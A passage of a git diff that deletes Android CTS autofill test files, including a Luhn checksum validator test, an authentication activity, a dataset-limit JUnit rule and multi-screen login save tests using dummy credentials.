-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        for (int i = 0; i < 10; i++) {
-            when(finder.findByAutofillId(id)).thenReturn("7992739871-" + i);
-            assertThat(validator.isValid(finder)).isEqualTo(i == 3);
-        }
-    }
-
-    @Test
-    public void nullAutofillValuesCauseFailure() {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId id3 = new AutofillId(3);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2, id3);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
-        when(finder.findByAutofillId(id2)).thenReturn(null);
-        when(finder.findByAutofillId(id3)).thenReturn("3");
-
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-
-    @Test
-    public void nonDigits() {
-        AutofillId id = new AutofillId(1);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id);
-
-        ValueFinder finder = mock(ValueFinder.class);
-        when(finder.findByAutofillId(id)).thenReturn("a7B9^9\n2 7{3\b9\08\uD83C\uDF2D7-1_3$");
-        assertThat(validator.isValid(finder)).isTrue();
-    }
-
-    @Test
-    public void multipleFieldNumber() {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-
-        LuhnChecksumValidator validator = new LuhnChecksumValidator(id1, id2);
-
-        ValueFinder finder = mock(ValueFinder.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("7992739871");
-        when(finder.findByAutofillId(id2)).thenReturn("3");
-        assertThat(validator.isValid(finder)).isTrue();
-
-        when(finder.findByAutofillId(id2)).thenReturn("2");
-        assertThat(validator.isValid(finder)).isFalse();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
deleted file mode 100644
index b1983d1..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ManualAuthenticationActivity.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.app.assist.AssistStructure;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.Parcelable;
-import android.view.autofill.AutofillManager;
-
-/**
- * An activity that authenticates on button press
- */
-public class ManualAuthenticationActivity extends Activity {
-    private static CannedFillResponse sResponse;
-    private static CannedFillResponse.CannedDataset sDataset;
-
-    public static void setResponse(CannedFillResponse response) {
-        sResponse = response;
-        sDataset = null;
-    }
-
-    public static void setDataset(CannedFillResponse.CannedDataset dataset) {
-        sDataset = dataset;
-        sResponse = null;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.single_button_activity);
-
-        findViewById(R.id.button).setOnClickListener((v) -> {
-            AssistStructure structure = getIntent().getParcelableExtra(
-                    AutofillManager.EXTRA_ASSIST_STRUCTURE);
-            if (structure != null) {
-                Parcelable result;
-                if (sResponse != null) {
-                    result = sResponse.asFillResponse(/* contexts= */ null,
-                            (id) -> Helper.findNodeByResourceId(structure, id));
-                } else if (sDataset != null) {
-                    result = sDataset.asDataset(
-                            (id) -> Helper.findNodeByResourceId(structure, id));
-                } else {
-                    throw new IllegalStateException("no dataset or response");
-                }
-
-                // Pass on the auth result
-                Intent intent = new Intent();
-                intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
-                setResult(RESULT_OK, intent);
-            }
-
-            // Done
-            finish();
-        });
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
deleted file mode 100644
index 8a397d9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MaxVisibleDatasetsRule.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that improves autofill-related environment by:
- *
- * <ol>
- *   <li>Setting max_visible_datasets before and after test.
- * </ol>
- */
-public final class MaxVisibleDatasetsRule implements TestRule {
-
-    private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
-
-    private final int mMaxNumber;
-
-    /**
-     * Creates a MaxVisibleDatasetsRule with given datasets values.
-     *
-     * @param maxNumber The desired max_visible_datasets value for a test,
-     * after the test it will be replaced by the original value
-     */
-    public MaxVisibleDatasetsRule(int maxNumber) {
-        mMaxNumber = maxNumber;
-    }
-
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                final int original = Helper.getMaxVisibleDatasets();
-                Helper.setMaxVisibleDatasets(mMaxNumber);
-                try {
-                    base.evaluate();
-                } finally {
-                    Helper.setMaxVisibleDatasets(original);
-                }
-            }
-        };
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
deleted file mode 100644
index 7d8d4be..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenDifferentActivitiesTest.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.ComponentName;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-
-import org.junit.Test;
-
-@AppModeFull(reason = "Service-specific test")
-public class MultiScreenDifferentActivitiesTest
-        extends AutoFillServiceTestCase.ManualActivityLaunch {
-
-    @Test
-    public void testActivityNotDelayedIsNotMerged() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger autofill on 1st activity, without using FLAG_DELAY_SAVE
-        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
-                .build());
-
-        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger autofill on 2nd activity
-        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
-                .build());
-        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        activity2.syncRunOnUiThread(() -> {
-            activity2.mInput.setText("ID");
-            activity2.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Make sure only second request is available
-        assertThat(saveRequest.contexts).hasSize(1);
-
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-    }
-
-    @Test
-    public void testDelayedActivityIsMerged() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger autofill on 1st activity, usingFLAG_DELAY_SAVE
-        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
-                .build());
-
-        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Fill field but don't finish session yet
-        activity1.syncRunOnUiThread(() -> {
-            activity1.mPreInput.setText("PRE");
-        });
-
-        // Trigger autofill on 2nd activity
-        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
-                .build());
-        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save
-        activity2.syncRunOnUiThread(() -> {
-            activity2.mInput.setText("ID");
-            activity2.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Make sure both requests are available
-        assertThat(saveRequest.contexts).hasSize(2);
-
-        // Assert 1st request
-        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(structure1).isNotNull();
-        assertTextAndValue(findNodeByResourceId(structure1, ID_PRE_INPUT), "PRE");
-        assertThat(findNodeByResourceId(structure1, ID_INPUT)).isNull();
-        final ComponentName component1 = structure1.getActivityComponent();
-        assertThat(component1).isEqualTo(activity1.getComponentName());
-
-        // Assert 2nd request
-        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(structure2).isNotNull();
-        assertThat(findNodeByResourceId(structure2, ID_PRE_INPUT)).isNull();
-        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
-        final ComponentName component2 = structure2.getActivityComponent();
-        assertThat(component2).isEqualTo(activity2.getComponentName());
-        activity2.syncRunOnUiThread(() -> {
-            activity2.mInput.setFocusable(false);
-        });
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
deleted file mode 100644
index ca0a2d2..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
+++ /dev/null
@@ -1,422 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-import java.util.regex.Pattern;
-
-/**
- * Test case for the senario where a login screen is split in multiple activities.
- */
-@AppModeFull(reason = "Service-specific test")
-public class MultiScreenLoginTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<UsernameOnlyActivity> {
-
-    private static final String TAG = "MultiScreenLoginTest";
-    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
-
-    private UsernameOnlyActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<UsernameOnlyActivity> getActivityRule() {
-        return new AutofillActivityTestRule<UsernameOnlyActivity>(UsernameOnlyActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    /**
-     * Tests the "traditional" scenario where the service must save each field (username and
-     * password) separately.
-     */
-    @Test
-    public void testSaveEachFieldSeparately() throws Exception {
-        // Set service
-        enableService();
-
-        // First handle username...
-
-        // Set expectations.
-        final Bundle clientState1 = new Bundle();
-        clientState1.putString("first", "one");
-        clientState1.putString("last", "one");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
-                .setExtras(clientState1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME);
-
-        // ..and assert results
-        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_USERNAME), "dude");
-        assertThat(saveRequest1.data.getString("first")).isEqualTo("one");
-        assertThat(saveRequest1.data.getString("last")).isEqualTo("one");
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity activity2 = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Set expectations.
-        final Bundle clientState2 = new Bundle();
-        clientState2.putString("second", "two");
-        clientState2.putString("last", "two");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
-                .setExtras(clientState2)
-                .build());
-
-        // Trigger autofill
-        activity2.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(1);
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        activity2.setPassword("sweet");
-        activity2.login();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // ..and assert results
-        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
-        assertThat(saveRequest2.data.getString("first")).isNull();
-        assertThat(saveRequest2.data.getString("second")).isEqualTo("two");
-        assertThat(saveRequest2.data.getString("last")).isEqualTo("two");
-        assertTextAndValue(findNodeByResourceId(saveRequest2.structure, ID_PASSWORD), "sweet");
-    }
-
-    /**
-     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
-     * with the service setting the client state just in the first request (so its passed to both
-     * the second fill request and the save request.
-     */
-    @Test
-    public void testSaveBothFieldsAtOnceNoClientStateOnSecondRequest() throws Exception {
-        // Set service
-        enableService();
-
-        // First handle username...
-
-        // Set expectations.
-        final Bundle clientState1 = new Bundle();
-        clientState1.putString("first", "one");
-        clientState1.putString("last", "one");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setExtras(clientState1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
-        assertThat(component1).isEqualTo(mActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger what would be save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.assertSaveNotShowing();
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        ID_PASSWORD)
-                .build());
-
-        // Trigger autofill
-        passwordActivity.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-        // Client state should come from 1st request
-        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
-        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
-
-        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
-        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        passwordActivity.setPassword("sweet");
-        passwordActivity.login();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
-
-        // ..and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        // Client state should come from 1st request
-        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
-        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
-
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        // Username is set in the 1st context
-        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
-        final ComponentName componentPrevious = previousStructure.getActivityComponent();
-        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
-
-        // Password is set in the 2nd context
-        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
-        final ComponentName componentCurrent = currentStructure.getActivityComponent();
-        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
-    }
-
-    /**
-     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
-     * with the service setting the client state just on both requests (so the 1st client state is
-     * passed to the 2nd request, and the 2nd client state is passed to the save request).
-     */
-    @Test
-    public void testSaveBothFieldsAtOnceWithClientStateOnBothRequests() throws Exception {
-        // Set service
-        enableService();
-
-        // First handle username...
-
-        // Set expectations.
-        final Bundle clientState1 = new Bundle();
-        clientState1.putString("first", "one");
-        clientState1.putString("last", "one");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .setExtras(clientState1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
-        assertThat(component1).isEqualTo(mActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger what would be save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.assertSaveNotShowing();
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Set expectations.
-        final Bundle clientState2 = new Bundle();
-        clientState2.putString("second", "two");
-        clientState2.putString("last", "two");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        ID_PASSWORD)
-                .setExtras(clientState2)
-                .build());
-
-        // Trigger autofill
-        passwordActivity.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-        // Client state on 2nd request should come from previous (1st) request
-        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
-        assertThat(fillRequest2.data.getString("second")).isNull();
-        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
-
-        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
-        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        passwordActivity.setPassword("sweet");
-        passwordActivity.login();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
-
-        // ..and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        // Client state on save request should come from last (2nd) request
-        assertThat(saveRequest.data.getString("first")).isNull();
-        assertThat(saveRequest.data.getString("second")).isEqualTo("two");
-        assertThat(saveRequest.data.getString("last")).isEqualTo("two");
-
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        // Username is set in the 1st context
-        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
-        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
-        final ComponentName componentPrevious = previousStructure.getActivityComponent();
-        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
-
-        // Password is set in the 2nd context
-        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
-        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
-        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
-        final ComponentName componentCurrent = currentStructure.getActivityComponent();
-        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
-    }
-
-    @Test
-    public void testSaveBothFieldsCustomDescription_differentIds() throws Exception {
-        saveBothFieldsCustomDescription(false);
-    }
-
-    @Test
-    public void testSaveBothFieldsCustomDescription_sameIds() throws Exception {
-        saveBothFieldsCustomDescription(true);
-    }
-
-    private void saveBothFieldsCustomDescription(boolean sameAutofillId) throws Exception {
-        // Set service
-        enableService();
-
-        // Set ids
-        final AutofillId appUsernameId = mActivity.getUsernameAutofillId();
-        final AutofillId appPasswordId = sameAutofillId ? appUsernameId
-                : mActivity.getAutofillManager().getNextAutofillId();
-        mActivity.setPasswordAutofillId(appPasswordId);
-        Log.d(TAG, "App: usernameId=" + appUsernameId + ", passwordId=" + appPasswordId);
-
-        // First handle username...
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusOnUsername();
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
-        assertThat(component1).isEqualTo(mActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger what would be save...
-        mActivity.setUsername("dude");
-        mActivity.next();
-        mUiBot.assertSaveNotShowing();
-
-        // ...now rinse and repeat for password
-
-        // Get the activity
-        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
-                .getActivity(PasswordOnlyActivity.class);
-
-        // Must get AutofillIds from FillRequest, as they contain the proper session ids
-        final AutofillId svcUsernameId = findAutofillIdByResourceId(fillRequest1.contexts.get(0),
-                ID_USERNAME);
-        Log.d(TAG, "Service: usernameId=" + svcUsernameId);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setVisitor((contexts, builder) -> {
-                    final AutofillId svcPasswordId =
-                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
-                    Log.d(TAG, "Service: passwordId=" + svcPasswordId);
-                    final CharSequenceTransformation usernameTrans =
-                            new CharSequenceTransformation.Builder(svcUsernameId, MATCH_ALL, "$1")
-                            .build();
-                    final CharSequenceTransformation passwordTrans =
-                            new CharSequenceTransformation.Builder(svcPasswordId, MATCH_ALL, "$1")
-                            .build();
-                    builder.setSaveInfo(new SaveInfo.Builder(
-                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                            new AutofillId[] {svcPasswordId})
-                            .setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
-                                    .addChild(R.id.username, usernameTrans)
-                                    .addChild(R.id.password, passwordTrans)
-                                    .build())
-                            .build());
-                })
-                .build());
-
-        // Trigger autofill
-        passwordActivity.focusOnPassword();
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-
-        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
-        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save...
-        passwordActivity.setPassword("sweet");
-        passwordActivity.login();
-
-        // ...and assert UI
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
-                SAVE_DATA_TYPE_PASSWORD);
-
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
-    }
-
-    // TODO(b/113281366): add test cases for more scenarios such as:
-    // - make sure that activity not marked with keepAlive is not sent in the 2nd request
-    // - somehow verify that the first activity's session is gone
-    // - WebView
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowEmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowEmptyActivity.java
deleted file mode 100644
index 0fd0c83..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowEmptyActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Empty activity that allows to be put in different split window.
- */
-public class MultiWindowEmptyActivity extends EmptyActivity {
-
-    private static MultiWindowEmptyActivity sLastInstance;
-    private static CountDownLatch sLastInstanceLatch;
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        sLastInstance = this;
-        if (sLastInstanceLatch != null) {
-            sLastInstanceLatch.countDown();
-        }
-    }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        if (hasFocus) {
-            if (sLastInstanceLatch != null) {
-                sLastInstanceLatch.countDown();
-            }
-        }
-    }
-
-    public static void expectNewInstance(boolean waitWindowFocus) {
-        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
-    }
-
-    public static MultiWindowEmptyActivity waitNewInstance() throws InterruptedException {
-        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
-                TimeUnit.MILLISECONDS)) {
-            throw new RetryableException("New MultiWindowLoginActivity didn't start",
-                    Timeouts.ACTIVITY_RESURRECTION);
-        }
-        sLastInstanceLatch = null;
-        return sLastInstance;
-    }
-}
